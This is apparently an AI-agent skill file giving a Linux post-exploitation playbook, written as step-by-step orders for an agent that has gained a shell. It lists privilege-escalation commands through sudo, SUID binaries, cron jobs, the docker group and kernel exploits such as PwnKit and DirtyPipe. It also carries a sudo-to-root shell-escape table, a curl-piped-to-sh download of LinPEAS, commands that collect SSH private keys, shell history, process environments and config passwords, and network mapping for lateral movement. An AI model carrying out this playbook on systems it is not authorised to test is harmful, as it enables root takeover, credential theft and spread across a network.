post-exploit-linux

Linux Post-Exploitation & Privilege Escalation Methodology

Complete course of action after obtaining a shell: information gathering → privilege escalation → credential collection → sensitive data → lateral movement preparation.

⛔ In-depth references

Content loaded on demand—SKILL.md gives you the decision tree and quick commands, references gives you the complete payloads:

• All exploitation commands for sudo/SUID/Capabilities/Cron hijacking, GTFOBins quick reference, environment variable hijacking, sudo CVE → references/privesc-techniques.md
• Docker/LXD group privilege escalation, NFS, kernel vulnerabilities (PwnKit/DirtyPipe/DirtyCow), snap-confine privilege escalation (CVE-2026-3888), writable files, process credentials → references/advanced-privesc.md
• Complete credential collection paths (config files/history/SSH keys/databases/process memory) → references/credential-harvest.md

---

Phase 0: 30-second quick privilege escalation assessment

When you first get a shell, run these commands to quickly determine whether there is a "instant escalation" opportunity:

id && sudo -l 2>/dev/null                          # 身份 + sudo 权限（80% 的提权从这里开始）
find / -perm -4000 -type f 2>/dev/null | head -20   # SUID 文件
getcap -r / 2>/dev/null                              # Capabilities
ls -la /etc/passwd /etc/shadow 2>/dev/null           # 文件权限

Instant escalation signals：

• sudo -l Has NOPASSWD entry → highly likely able to escalate (check GTFOBins)
• Non-standard SUID files (not the usual ping/su/sudo/mount ones) → very likely exploitable
• /etc/passwd Writable → directly add a root user

If there is no obvious breakthrough here, continue to Phase 1 for complete information gathering.

Phase 1: System information gathering

# 身份与权限
id && whoami
uname -a && cat /etc/os-release      # 内核版本 + 发行版（匹配内核漏洞用）

# 网络
ip addr && ip route && ss -tlnp      # 接口、路由、监听端口
cat /etc/resolv.conf && arp -a && cat /etc/hosts

# 进程与环境
ps aux                                # 看有没有 root 运行的有趣进程
env | grep -iE 'pass|key|secret|token'  # 环境变量泄露

Key judgments：

• Multiple network interfaces = possibly a pivot host (dual-segment pivot)
• DNS pointing to an internal IP = domain environment
• Large ARP table = active network segment, worth scanning
• The command line of root processes may expose passwords/paths

Phase 2: Privilege escalation decision tree (sorted by success rate)

当前权限？
├─ 已是 root → 跳到 Phase 3 凭据收集
└─ 非 root → 按顺序检查：
    │
    ├─ 1. sudo -l
    │   ├─ (ALL) NOPASSWD: ALL → sudo su（直接 root）
    │   ├─ 特定命令 → GTFOBins 查提权方法
    │   ├─ env_keep+=LD_PRELOAD → 共享库注入提权
    │   └─ 无 sudo → 下一步
    │
    ├─ 2. SUID 文件
    │   find / -perm -4000 -type f 2>/dev/null
    │   ├─ 非标准 SUID → GTFOBins / strings 分析 / PATH 劫持
    │   └─ pkexec → PwnKit (CVE-2021-4034)
    │
    ├─ 3. Capabilities
    │   getcap -r / 2>/dev/null
    │   └─ cap_setuid → python3/perl 提权
    │   └─ cap_dac_read_search → 读 /etc/shadow
    │
    ├─ 4. Cron 任务
    │   cat /etc/crontab && ls -la /etc/cron.d/
    │   ├─ root cron 执行可写脚本 → 替换脚本内容
    │   ├─ cron PATH 有你可写的目录 → 同名脚本劫持
    │   └─ cron 使用通配符（tar *）→ 参数注入
    │
    ├─ 5. 可写文件/目录
    │   ├─ /etc/passwd 可写 → 添加 root 用户
    │   ├─ /etc/shadow 可读 → john/hashcat 破解
    │   ├─ systemd .service 可写 → 改 ExecStart
    │   └─ root 进程的库/配置可写 → 劫持
    │
    ├─ 6. 特殊组
    │   ├─ docker 组 → docker run -v /:/host alpine chroot /host bash
    │   ├─ lxd/lxc 组 → 容器逃逸挂载宿主机
    │   ├─ disk 组 → debugfs 读任意文件
    │   └─ adm 组 → 读日志找凭据
    │
    ├─ 7. NFS
    │   cat /etc/exports → no_root_squash → 远程写 SUID 文件
    │
    └─ 8. 内核漏洞（最后手段，有崩溃风险）
        uname -r → 匹配 CVE
        PwnKit(所有pkexec) | DirtyPipe(5.8-5.16) | DirtyCow(2.6-4.8) | OverlayFS(Ubuntu)
        snap-confine+tmpfiles(Ubuntu>=24.04, CVE-2026-3888, 需等10-30天)

→ Complete exploitation commands for each step → references/privesc-techniques.md + references/advanced-privesc.md

sudo privilege escalation Top 10 quick reference

Command	Privilege escalation method
vim/vi	:!/bin/bash
find	find / -exec /bin/bash \;
python3	import os; os.system("/bin/bash")
awk	awk 'BEGIN {system("/bin/bash")}'
env	env /bin/bash
less/more	!/bin/bash
tar	--checkpoint-action=exec=/bin/bash
nmap	--interactive → !sh(old version) / --script
bash/sh	Directly sudo bash
systemctl/journalctl	enter pager → !/bin/bash

Full list see GTFOBins

Automated enumeration

When manual checks find no obvious path, run automated tools to scan once—they will check more edge cases:

# LinPEAS（最全面，推荐）
curl -fsSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./linenum.sh -t

# linux-exploit-suggester（内核漏洞匹配）
./linux-exploit-suggester.sh

Methods to deliver tools to the target → load tool-delivery skill

Phase 3: Credential collection

After successful privilege escalation (or even without it), collect credentials as much as possible—these credentials are extremely valuable for lateral movement:

# Web 应用配置（数据库密码、API Key）
cat /var/www/html/config.php /var/www/html/.env /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null

# 历史记录（人类经常在命令行敲密码）
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'

# SSH 密钥（横向移动的金钥匙）
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /home/*/.ssh/

# 数据库凭据
cat /etc/mysql/debian.cnf 2>/dev/null

# 进程/环境中的凭据
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'

→ More credential locations → references/credential-harvest.md

Phase 4: Sensitive data search

# Flag（CTF/靶场）
find / -name "flag*" -o -name "proof*" 2>/dev/null
cat /root/flag.txt /home/*/flag.txt 2>/dev/null

# 备份/数据库/密钥文件
find / \( -name "*.bak" -o -name "*.sql" -o -name "*.key" -o -name "*.pem" \) 2>/dev/null

Phase 5: Lateral movement preparation

ip route && arp -a && cat /etc/hosts     # 发现其他网段和主机
cat ~/.ssh/known_hosts 2>/dev/null       # SSH 连接过哪些机器

Collected credentials + discovered network segments → load internal-recon skill for internal network scanning → load lateral-movement skill for lateral movement